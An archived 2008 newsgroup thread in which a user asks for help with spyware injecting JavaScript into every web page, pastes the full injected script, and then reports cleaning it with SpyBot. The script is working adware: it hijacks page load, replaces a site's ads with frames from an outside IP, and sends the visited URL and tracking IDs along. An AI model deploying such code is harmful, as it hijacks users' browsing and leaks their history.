🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Thread View: borland.public.cppbuilder.internet.web
3 messages
3 total messages Started by Hans Galema Fri, 28 Mar 2008 10:53
unwanted javascript inserted in every html page
#37
Author: Hans Galema
Date: Fri, 28 Mar 2008 10:53
950 lines
29858 bytes
TCppWebBrowser, IE and Firefox are behaving different on my XP system.

With IE and Firefox nearly every page from every site I visit comes with a lot
of javascript inserted (see below). Mostly behind the closing html tag.
Sometimes just before. With TCppWebBrowser that does not happen.

I think that I'm a victim of some spyware?

Well this is not a cbuilder problem, hmmm TCppWebBrowser is named ;-),
but where should I go else?

Who can shed some light on this? How to cure?

Hans.

script type="text/javascript" language="javascript"


     onloadevent_E850A1B8F15A48e9BD405A67D067013E = window.onload;
	window.onload = f_E850A1B8F15A48e9BD405A67D067013E;
	
     TopWndUrl_E850A1B8F15A48e9BD405A67D067013E = "";
     MetaKwd_E850A1B8F15A48e9BD405A67D067013E = "";
     FrameString_E850A1B8F15A48e9BD405A67D067013E = "";

     EscUrl_24578457887 = escape(window.location.href);
     MainAid_24578457887 = '151080';
     MainGiud_24578457887 = '7DD00D9AFC4B4E9186DF8F6F6D3B56D0';
     MainUid_24578457887 = '27A76464AF1711DCA791151080EDFFFF';
     MainRid_24578457887 = 'rf';


     ruleset_AA532B7B55D44dbb87FAB30BCA27C538 = new Array();

     /*
	    // example of the normal rule
	    ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push( {"Name" : "NormalRuleName", "Global" : 0,
							    "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl,
							    "minCX" : 3, "maxCX" : 1000, "minCY" : 3, "maxCY" : 1000,
							    "Image" : "http://ya.ru/logo.gif", "Click" : "http://www.ya.ru", "ReplaceAll" : 1};

	    // example of the locale rule
	    ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push( {"Name" : "LocaleRuleName", "Global" : 1,
							    "minCX" : 3, "maxCX" : 1000, "minCY" : 3, "maxCY" : 1000,
							    "Image" : "http://ya.ru/logo.gif", "Click" : "http://www.ya.ru", "ReplaceAll" : 1};
     */

     InitArray_24578457887 = new Array();
				
	//FrID, FrSrc, FrWidthMin, FrWidthMax, FrHeightMin, FrHeightMax, AHref, ImgSrc	
     //InitArray_24578457887.push(
     //		CreateInitObject_24578457887('aff78e03',
     //		          'http://85.17.166.173/go/?cmp=nm_bm3s_728x90',
     //				 '728', '730',  '90', '95'
     //				'http://85.12.43.83/www/delivery/ck.php?n=a8ac5ed4',
     //				'http://85.12.43.83/www/delivery/avw.php?zoneid=48&n=a8ac5ed4'));
     //InitArray.push

     var arrAnti = new Array("vlaze\.com");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b728x90", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b728x90',
'http://85.12.43.83/fls.geo/EU_728x90_8.html?a=b',
'728', '728', '90', '90',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b720x300", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b720x300',
'http://85.12.43.83/fls.geo/EU_720x300_1.html?a=b',
'720', '720', '300', '300',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b468x60", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b468x60',
'http://85.12.43.83/fls.geo/EU_468x60_27.html?a=b',
'468', '468', '60', '60',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b336x280", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b336x280',
'http://85.12.43.83/fls.geo/EU_336x280_1.html?a=b',
'336', '336', '280', '280',
'',
''));
var arrAnti = new Array("vlaze\.com");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b300x250", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b300x250',
'http://85.12.43.83/fls.geo/EU_300x250_8.html?a=b',
'300', '300', '250', '250',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b300x100", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b300x100',
'http://85.12.43.83/fls.geo/EU_300x100_1.html?a=b',
'300', '300', '100', '100',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b250x250", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b250x250',
'http://85.12.43.83/fls.geo/EU_250x250_1.html?a=b',
'250', '250', '250', '250',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b240x400", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b240x400',
'http://85.12.43.83/fls.geo/EU_240x400_1.html?a=b',
'240', '240', '400', '400',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b234x60", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b234x60',
'http://85.12.43.83/fls.geo/EU_234x60_2.html?a=b',
'234', '234', '60', '60',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b180x150", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b180x150',
'http://85.12.43.83/fls.geo/EU_180x150_2.html?a=b',
'180', '180', '150', '150',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b160x600", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b160x600',
'http://85.12.43.83/fls.geo/EU_160x600_1.html?a=b',
'160', '160', '600', '600',
'',
''));
var arrAnti = new Array("search42\.com","joybuyjoy\.com");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b125x125", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b125x125',
'http://85.12.43.83/fls.geo/EU_125x125_1.html?a=b',
'125', '125', '125', '125',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b120x600", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b120x600',
'http://85.12.43.83/fls.geo/EU_120x600_1.html?a=b',
'120', '120', '600', '600',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b120x240", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b120x240',
'http://85.12.43.83/fls.geo/EU_120x240_13.html?a=b',
'120', '120', '240', '240',
'',
''));

	
	ExclusionArray_24578457887 = new Array();
	
	
     function f_E850A1B8F15A48e9BD405A67D067013E()
     {
         var MainCollection;

	    window.onload = onloadevent_E850A1B8F15A48e9BD405A67D067013E; // reset onload event
     	
	    if (onloadevent_E850A1B8F15A48e9BD405A67D067013E != null)
		    onloadevent_E850A1B8F15A48e9BD405A67D067013E();
     		
	    if (!document || !document.body || !document.body.childNodes)
		    return;

         TopWndUrl_E850A1B8F15A48e9BD405A67D067013E   = GetTopWindowUrl_C782A923BB0348e19544F09902515411();
	    MetaKwd_E850A1B8F15A48e9BD405A67D067013E     = GetMeta_C782A923BB0348e19544F09902515411();
	    FrameString_E850A1B8F15A48e9BD405A67D067013E = GetFrameContent_C782A923BB0348e19544F09902515411(document.body);
	
         initialize_24578457887();
         if(MustExit_24578457887())
             return;
     		
	    MainCollection = document.body.childNodes;
         ReplaceByFrame_24578457887(InitArray_24578457887, MainCollection, 0);

     } //function f_E850A1B8F15A48e9BD405A67D067013E()


     function GetTopWindowUrl_C782A923BB0348e19544F09902515411()
     {
	    var temp = "";
	    var e;
	    try
         {
		    temp = window.top.location.href;
	    }
	    catch(e)
	    {
		    temp =  window.location.href;
	    }
	    return temp;
     } //function GetTopWindowUrl_C782A923BB0348e19544F09902515411()


     function SimpleEncode_C782A923BB0348e19544F09902515411(str)
     {
	    if (str == null)
		    return "";

	    str = escape(str);
	    str = str.replace(/\+/g, "%2B");
	    str = str.replace(/\//g, "%2F");

	    return str;
     } //function SimpleEncode_C782A923BB0348e19544F09902515411(str)


     function GetMeta_C782A923BB0348e19544F09902515411()
     {
	    var e;
	    var str = "";
	    try
	    {
		    var head = window.top.document.getElementsByTagName('head').item(0);
		    if(head != null)
		    {
			    if (head.childNodes != null && head.childNodes.length > 0)
			    {
				    for(var y=head.childNodes.length-1; y>=0; y--)
				    {
					    var child = head.childNodes.item(y);
					    if(child.tagName == "META")
					    {
						    str += "<META ";

						    if(child.content != "" && child.name == "keywords")
							    str += 'content="' + child.content + '" ';

						    str += " >\n";
					    }
				    }
			    }
		    }
	    }
	    catch(e)
	    {
	    }

	    str = SimpleEncode_C782A923BB0348e19544F09902515411(str);

	    return str;
     } //function GetMeta_C782A923BB0348e19544F09902515411()


     function CheckUrl_3A315874118D436c8E256384792D2A73(rulesetElement)
     {
	    var i;

         // check if it's locale matching
         if (rulesetElement.Global == 1)
             return "_";

         // check antikeywords
         for (i = 0; i < rulesetElement.AntiArr.length; i++)
             if (document.location.href.indexOf(rulesetElement.AntiArr[i]) != -1)
	            return null;

         // check content keywords
         for (i = 0; i < rulesetElement.ContentArr.length; i++)
             if (FrameString_E850A1B8F15A48e9BD405A67D067013E.indexOf(rulesetElement.ContentArr[i]) != -1)
	            return rulesetElement.ContentArr[i];

         // check metakeywords
         for (i = 0; i < rulesetElement.MetaArr.length; i++)
             if (MetaKwd_E850A1B8F15A48e9BD405A67D067013E.indexOf(rulesetElement.MetaArr[i]) != -1)
	            return rulesetElement.MetaArr[i];

         // check urlkeywords
         for (i = 0; i < rulesetElement.UrlArr.length; i++)
             if (document.location.href.indexOf(rulesetElement.UrlArr[i]) != -1)
	            return rulesetElement.UrlArr[i];

         return null;
	
     } //function CheckUrl_3A315874118D436c8E256384792D2A73(rulesetElement)



     function GetFrameContent_C782A923BB0348e19544F09902515411(nodeElement)
     {
	    var retStr = "";

	    if(null==nodeElement)
		    return "";

	    if (nodeElement.nodeValue != null)
		    retStr = nodeElement.nodeValue;

	    var allChildrenNode = nodeElement.childNodes;

	    if (allChildrenNode != null && allChildrenNode.length > 0)
	    {
		    for(var y=allChildrenNode.length-1; y>=0; y--)
		    {
			    var child = allChildrenNode.item(y);

			    retStr = retStr + GetFrameContent_C782A923BB0348e19544F09902515411(child);
		    }
	    }

	    retStr = retStr + " ";
	    return retStr;
     } //function GetFrameContent_C782A923BB0348e19544F09902515411(nodeElement)


     function Connection_3A315874118D436c8E256384792D2A73(Obj)
     {
//        var img = new Image();
//
//        if(Obj)
//		    img.src = "http://127.0.0.1/" + Math.random() + "AA532B7B55D44dbb87FAB30BCA27C538?" + Obj.FrID;
//		else
//		    img.src = "http://127.0.0.1/" + Math.random() + "AA532B7B55D44dbb87FAB30BCA27C538?null"; 		
		    //alert('Connection ' + Obj.FrID + '  src: ' + Obj.FrSrc);
		    try
		    {
		        var fr = document.createElement("iframe");
	            fr.src = "http://127.0.0.1/" + Math.random() + "AA532B7B55D44dbb87FAB30BCA27C538?" + Obj.FrID;
	            fr.width = 0;
	            fr.height = 0;
	            document.body.appendChild(fr);
		    }
		    catch(e){}
		
		
     } //function Connection_3A315874118D436c8E256384792D2A73()



     function MustExit_24578457887()
     {
         var flExcl = 0;
	    var str;
	    var aid = MainAid_24578457887;
	    var ss;
	    var i;
	
	    flExcl = 0;
         str = window.location.href;
         for(i = 0; i < ExclusionArray_24578457887.length; ++i)
         {

             if(!ExclusionArray_24578457887[i].length)
		        continue;
		
		    if(str.length < ExclusionArray_24578457887[i].length)
		        continue;
		
             if(str.substr(0, ExclusionArray_24578457887[i].length) == ExclusionArray_24578457887[i])
             {
                 flExcl = 1;
                 break;		
             }
     			
         }; //for(j = 0; j < ExclusionArray_24578457887.length; ++j)
	
	    if(flExcl)
	        return 1;	
			
		flExcl = 0;	
		for(i = 0; i < str.length - aid.length + 1; i++)
		{
			ss = str.substr(i, aid.length);
			if(ss == aid)
			{
			    flExcl = 1;
				break;										
			}
		} //for(j = 0; j < str.length - 4; j++)	
						
     	if(flExcl)
			return 1;
			
	    return 0;
	
     }; //function MustExit()

	
	function initialize_24578457887()
	{	
	    var i;
	    var str;
	
	    for(i = 0; i < InitArray_24578457887.length; ++i)
	    {
	        str = GetDomain_24578457887(InitArray_24578457887[i].FrSrc);
	        if(str.length)
	            ExclusionArray_24578457887.push(str);
	
	        str = GetDomain_24578457887(InitArray_24578457887[i].AHref);
	        if(str.length)
	            ExclusionArray_24578457887.push(str);
	
	        str = GetDomain_24578457887(InitArray_24578457887[i].ImgSrc);
	        if(str.length)
	            ExclusionArray_24578457887.push(str);	
	
	    } //for(i = 0; i < InitArray_24578457887; ++i)
         	
	} //function initialize()
	
	
	function CreateFrame_24578457887(InitObj)
	{
		var XFrame = document.createElement("iframe");
		XFrame.id = InitObj.FrID;
		XFrame.name = InitObj.FrName;
		XFrame.framespacing = InitObj.FrSpacing;
		XFrame.frameborder = InitObj.FrBorder;
		XFrame.scrolling = InitObj.FrScrolling ;
		XFrame.width = InitObj.FrWidthMin;
		XFrame.height = InitObj.FrHeightMin;
		
		if(!XFrame.frameborder || XFrame.frameborder == 'no')
		{
		    XFrame.style.borderWidth = "0px";
		    XFrame.frameBorder = '0';
		}					
				
		return XFrame;
			
	} //function CreateFrame(El)
	
	function CheckImg_24578457887(ObjArray, El)
	{	
	    var i;
		
		try
		{
				
		    for(i = 0; i < ObjArray.length; ++i)
		        if(
		            (  (El.width >= ObjArray[i].FrWidthMin) &&  (El.width <= ObjArray[i].FrWidthMax) )  &&
		            (  (El.height >= ObjArray[i].FrHeightMin) && (El.height <= ObjArray[i].FrHeightMax)  )
		          )
			        return ObjArray[i];
			
	    }
	    catch(e) {}
		
		return null;	
				
	} //function CheckImg(El)
	
	
	function CheckObj_24578457887(ObjArray, El)
	{
		var i;
		
		try
		{
		    for(i = 0; i < ObjArray.length; ++i)
     		    if(
     		        (  (El.getAttribute("width") >= ObjArray[i].FrWidthMin) &&  (El.getAttribute("width") <= ObjArray[i].FrWidthMax) )  &&
		            (  (El.getAttribute("height") >= ObjArray[i].FrHeightMin) && (El.getAttribute("height") <= ObjArray[i].FrHeightMax)  )
		          )
     				
				    return ObjArray[i];	
		}
		catch(e){}		
				
		return	null;			
		
	} //function CheckObj(El)
	
	function CheckID_24578457887(ObjArray, El)
	{
		var i;
		
		try
		{
		    if(El.id)
			    for(i = 0; i < ObjArray.length; ++i)
				    if(El.id == ObjArray[i].FrID)
					    return ObjArray[i];
		}
		catch(e) {}
		
		return	null;			
		
	} //function CheckID_24578457887(ObjArray, El)
	
	
	function WrFrame_24578457887(InitObj)
	{
		var FrameList = null;
		var j;
		var xd, yd;
	
		FrameList = window.frames;					
		for(j = 0; j < FrameList.length; ++j)					
		{	
			
			try
			{
				if(!FrameList[j].frameElement)
					continue;				
				if(!FrameList[j].frameElement.id)
					continue;
				if(FrameList[j].frameElement.id != InitObj.FrID)
					continue;
			}
			catch(e)
			{
				continue;
			}
			
			try
			{
			    FrameList[j].document.write("<html> <body id='B" + InitObj.FrID + "' name='B" + InitObj.FrID + "'> " +
						" <iframe id=" + InitObj.FrID + " name=" + InitObj.FrID +
						" src=" + InitObj.FrSrc +
						" framespacing=" + InitObj.FrSpacing + " frameborder=" + InitObj.FrBorder +
						" scrolling=" + InitObj.FrScrolling +
						" width=" +  InitObj.FrWidthMin + " height=" + InitObj.FrHeightMin + "> " +
						" <a href=" + InitObj.AHref +
						" target=" + InitObj.ATarget +
						"><img flNotNeed=1 src=" + InitObj.ImgSrc +
						" border=" + InitObj.ImgBorder +
						" alt=" + InitObj.ImgAlt + " /> </a> </body> </iframe><html>");
			}
			catch(e)
			{ continue; }
								
			try
			{					
				xd = FrameList[j].document.getElementById('B' + InitObj.FrID).getAttribute("clientLeft") +
					 FrameList[j].document.getElementById(InitObj.FrID).getAttribute("offsetLeft");	
					
				yd = FrameList[j].document.getElementById('B' + InitObj.FrID).getAttribute("clientTop") +
					 FrameList[j].document.getElementById(InitObj.FrID).getAttribute("offsetTop");
					
				if(navigator.appName == 'Microsoft Internet Explorer')
				{
					xd += 7;
					yd += 12;
				} //if(navigator.appName == 'Microsoft Internet Explorer')
				else if(navigator.appName == 'Netscape')
				{
					xd = '8';
					yd = '8'
				}//if(navigator.appName == 'Netscape')
				else if(navigator.appName == 'Opera')
				{
					xd = '5';
					yd = '5';
				} //else if(navigator.appName == 'Opera')
					
			}		
			catch(e)
			{
		
				if(navigator.appName == 'Microsoft Internet Explorer')
				{
					xd = '8';
					yd = '14'
				}//if(navigator.appName == 'Microsoft Internet Explorer')
				if(navigator.appName == 'Netscape')
				{
					xd = '8';
					yd = '8'
				}//if(navigator.appName == 'Netscape')
				else if(navigator.appName == 'Opera')
				{
					xd = '5';
					yd = '5';
					
				}//else if(navigator.appName == 'Opera')
			}
		
		    try
		    {
			    FrameList[j].document.getElementById('B' + InitObj.FrID).style.marginLeft= '-' + xd + 'px';
			    FrameList[j].document.getElementById('B' + InitObj.FrID).style.marginTop= '-' + yd + 'px';							
			}
			catch(e) {}
						
		} //for(j = 0; j < document.frames.length; ++j)
					
	} //function RepChild_24578457887()
	
	
	function CheckTagIMG_24578457887(El, InitArray)
	{	
		var InitObj;
		var flExcl;
		var NewFrame;
		var i;
		
		if(El.parentNode.tagName != "A")
		    return 0;
				
		InitObj = CheckImg_24578457887(InitArray, El);
		if(!InitObj)
			return 1;					
						
		flExcl = 0;
		for(i = 0; i < ExclusionArray_24578457887.length; ++i)
		{
		    if(!ExclusionArray_24578457887[i].length)
		        continue;
		
		    if(El.parentNode.href.length < ExclusionArray_24578457887[i].length)
		        continue;
		
		    if(El.parentNode.href.substr(0, ExclusionArray_24578457887[i].length) == ExclusionArray_24578457887[i])
		    {
		        flExcl = 1;
		        break;		
		    }
		
		}; //for(j = 0; j < ExclusionArray_24578457887.length; ++j)
		
		if(flExcl)
		    return 1;
								
		NewFrame = CreateFrame_24578457887(InitObj);
	    El.parentNode.parentNode.replaceChild(NewFrame, El.parentNode);
		
		WrFrame_24578457887(InitObj);
		
		Connection_3A315874118D436c8E256384792D2A73(InitObj);
		
		return 0;
		
	} //function CheckTagIMG_24578457887()
	
	function CheckTagEMBED_24578457887(El, InitArray)
	{	
		var str;
		var InitObj;
		var NewFrame;
		var i;
		
		if(El.parentNode == null)
			return 1;	   	 				
				
		str = El.getAttribute("src");
		if(!str)
			return 1;
			
		for(i = 0; i < str.length - 3; ++i)
		{
			ss = str.substr(i, 4);
			if(ss == ".swf")
				break;										
		} //for(j = 0; j < str.length - 4; j++)	
		
		if(ss != ".swf")
			return 1;									
		
		if(CheckID_24578457887(InitArray, El))
		    return 1;		
		InitObj = CheckObj_24578457887(InitArray, El);
		if(!InitObj)
			return 1;
		
		NewFrame = CreateFrame_24578457887(InitObj);			
		El.parentNode.replaceChild(NewFrame, El);
		WrFrame_24578457887(InitObj);
			
		Connection_3A315874118D436c8E256384792D2A73(InitObj);
				
		return 0;
				
	} //function CheckTagEMBED_24578457887()
	
	
	function CheckTagOBJECT_24578457887(El, InitArray)
	{	
		var str;
		var InitObj;
		var NewFrame;
		var ss;
		
		var i;
		
		if(El.parentNode == null)
			return 1;				
		if(navigator.appName == 'Opera')
			return 1;
		
		
		try
		{			
			str = El.getAttribute("movie");		
			if(!str)
			{
				str = El.getAttribute("data");
				if(!str)
					return 1;
			} //if(!str)				
			
		}
		catch(e)
		{
			return 1;
		}
		
								
		for(i = 0; i < str.length - 3; ++i)
		{
			ss = str.substr(i, 4);
			if(ss == ".swf")
				break;										
		} //for(j = 0; j < str.length - 4; j++)	
		
		if(ss != ".swf")
			return 1;
		
		if(CheckID_24578457887(InitArray, El))
		    return 1;				
		InitObj = CheckObj_24578457887(InitArray, El);
		if(!InitObj)
			return 1;
		
		NewFrame = CreateFrame_24578457887(InitObj);			
		El.parentNode.replaceChild(NewFrame, El);
		WrFrame_24578457887(InitObj);		
		
		Connection_3A315874118D436c8E256384792D2A73(InitObj);
		
		return 0;
			
	} //function CheckTagOBJECT_24578457887()
	
	function CheckTagIFRAME_24578457887(El, InitArray)
	{	
		var InitObj;
		var NewFrame;
		var flExcl;
		
		var str;
		var ss;
		var aid = MainAid_24578457887;
		
		var i;
		
		if(!El.parentNode)
			return 1;
			
		if(!El.tagName)
			return 1;
		
		if(CheckID_24578457887(InitArray, El))
		    return 1;	
		InitObj = CheckObj_24578457887(InitArray, El);
		if(!InitObj)
			return 1;
		
				
		flExcl = 0;
		for(i = 0; i < ExclusionArray_24578457887.length; ++i)
		{
		
		    if(!ExclusionArray_24578457887[i].length)
		        continue;
		
		    if(El.src.length < ExclusionArray_24578457887[i].length)
		        continue;
		
		    if(El.src.substr(0, ExclusionArray_24578457887[i].length) == ExclusionArray_24578457887[i])
		    {
		        flExcl = 1;
		        break;		
		    }
		
		}; //for(j = 0; j < ExclusionArray_24578457887.length; ++j)
		
		if(flExcl)
		    return 0;
		
		
		flExcl = 0;	str = El.src;
		for(i = 0; i < str.length - aid.length + 1; i++)
		{
			ss = str.substr(i, aid.length);
			if(ss == aid)
			{
			    flExcl = 1;
				break;										
			}
		} //for(j = 0; j < str.length - 4; j++)	
						
     	if(flExcl)
			return 1;
			
			
		El.src = InitObj.FrSrc;	
		Connection_3A315874118D436c8E256384792D2A73(InitObj);
		
		return 0;			
		
	} //function CheckTagIFRAME_24578457887()
	
	
	function ReplaceByFrame_24578457887(InitArray, MainCollection, Included)
	{	
		var El = null;
		var i;
		var flExit;
				
		
		if(!Included)
		{
		    flExit = 0;
		
		    for(i = 0; i < ruleset_AA532B7B55D44dbb87FAB30BCA27C538.length; ++i)
     	    {    	
     	        if(!CheckUrl_3A315874118D436c8E256384792D2A73(ruleset_AA532B7B55D44dbb87FAB30BCA27C538[i]))
     	        {
     	            flExit = 1;
     	            break;
     	        }   //if(!CheckUrl_3A315874118D436c8E256384792D2A73(ruleset_AA532B7B55D44dbb87FAB30BCA27C538[idx]))
     	
     	    } //  for(i = 0; i < ruleset_AA532B7B55D44dbb87FAB30BCA27C538.length; ++i)
     	
     	    if(flExit)
     	        return 0;
     	
		}; //if(Included == 0)
		
		
		if(window.frameElement)
		{
		    if(CheckObj_24578457887(InitArray, window.frameElement))
		        return 0;
		
		    if(CheckID_24578457887(InitArray, window.frameElement))
		        return 0;
		} //if(window.frameElement)
     	
     	
		for(i = 0; i < MainCollection.length; i++)
		{
			El = MainCollection[i];
			if(El.tagName == "IMG")
			{
				if(!CheckTagIMG_24578457887(El, InitArray))
					continue;
									
			}//if(El.tagName == "IMG")
			else if(El.tagName == "EMBED")
			{
				if(!CheckTagEMBED_24578457887(El, InitArray))
					continue;
				
			} //else if(El.tagName == "EMBED")
			else if(El.tagName == "OBJECT")
			{
				
				if(!CheckTagOBJECT_24578457887(El, InitArray))
					continue;
				
			} //else if(El.tagName == "OBJECT")
			else if(El.tagName == "IFRAME")
			{
				if(!CheckTagIFRAME_24578457887(El, InitArray))
					continue;
			
			} //else if(El.tagName == "IFRAME")
			
			
			if(El.childNodes && El.childNodes.length)
				ReplaceByFrame_24578457887(InitArray, El.childNodes, 1);	
			
			
		} //for(i = 0; i < MainCollection.length; i++)

		return 0;	
		
	} //function ReplaceByFrame()	
	
						
	function CreateInitObject_24578457887(FrID, FrSrc, FrWidthMin, FrWidthMax, FrHeightMin, FrHeightMax,
								AHref, ImgSrc)
	{
	
		var InitObj = new Object();
		
		InitObj.FrID = FrID;
		InitObj.FrName = FrID;
		
		InitObj.FrSrc = FrSrc + '&aid=' + MainAid_24578457887 +
				            '&guid=' + MainGiud_24578457887 + '&uid=' + MainUid_24578457887 +
				            '&rid=' + MainRid_24578457887 + '&url=' + EscUrl_24578457887;
				
		InitObj.FrWidthMin = FrWidthMin;
		InitObj.FrWidthMax = FrWidthMax;
		InitObj.FrHeightMin = FrHeightMin;		
		InitObj.FrHeightMax = FrHeightMax;
		
		InitObj.FrSpacing = '0';
		InitObj.FrBorder = 'no';
		InitObj.FrScrolling = 'no';
		
					
		InitObj.AHref = AHref;
		InitObj.ATarget = 'blank';
		
		InitObj.ImgSrc = ImgSrc;
		InitObj.ImgBorder = '0';
		InitObj.ImgAlt = '';	
				
		return InitObj;		
		
	} //function CreateInitObject()	
	
	
	function GetDomain_24578457887(str)
	{
	    var i;
	    var str2 = "";
	
	    for(i = 0; i < str.length; ++i)
	    {
	
	        str2 += str.charAt(i);
	        	
	        if(str.charAt(i) == '/')
	        {
	        	if(  ((i + 1) < str.length) && ((i - 1) >= 0) )
	        	{
	        		if( (str.charAt(i + 1) != '/') && (str.charAt(i - 1) != '/') )
	        			break;
	        	}
	        	else if( ((i + 1) < str.length) && (str.charAt(i + 1) != '/') )
	        		break;
	        	else if ( ((i - 1) >= 0) && (str.charAt(i - 1) != '/') )	
	        		break;
	        		
	        } //if(str[i] == '/')
	
	    } //for(i = 0; i < str.length; ++i)
	
	    return str2;
	
	} //function GetDomain_24578457887(str)
	
	
/s c r i p t
Re: unwanted javascript inserted in every html page
#38
Author: Remy Lebeau (TeamB)
Date: Fri, 28 Mar 2008 16:38
29 lines
1953 bytes
"Hans Galema" <notusedagain@notusedagain.nl> wrote in message 
news:47eccebb@newsgroups.borland.com...

> With IE and Firefox nearly every page from every site I
> visit comes with a lot of javascript inserted (see below).

Sounds like you are accessing the web sites through a proxy or firewall that 
is modifying the HTML as it passes through.

> With TCppWebBrowser that does not happen.

TCppWebBrowser is just a wrapper around IE's ActiveX object.  The two behave 
the same, as they are sharing the same core.

> I think that I'm a victim of some spyware?

Possibly.  The script does have references to an external IP address 
(85.12.43.83).  A search on Yahoo shows that same script/IP in all kinds of 
places on the web.

> Who can shed some light on this? How to cure?

There are plenty of third-party anti-spyware and browser hijack detectors 
available for download, such as Ad-aware and HijackThis.  Have you run any 
of them yet?


Gambit 
Re: unwanted javascript inserted in every html page
#39
Author: Hans Galema
Date: Mon, 31 Mar 2008 14:01
13 lines
1478 bytes
Remy Lebeau (TeamB) wrote:

> There are plenty of third-party anti-spyware and browser hijack detectors 
> available for download, such as Ad-aware and HijackThis.  Have you run any 
> of them yet?

Now tried SpyBot and it found lots of things. Although I wanted to know
who was adding the script I still don't know as SpyBot reported
so many infections that my eager to find out disappeared at once.

But the script is not added anymore. So I'm happy again.

Thanks.
Thread Navigation

This is a paginated view of messages in the thread with full content displayed inline.

Messages are displayed in chronological order, with the original post highlighted in green.

Use pagination controls to navigate through all messages in large threads.

Back to All Threads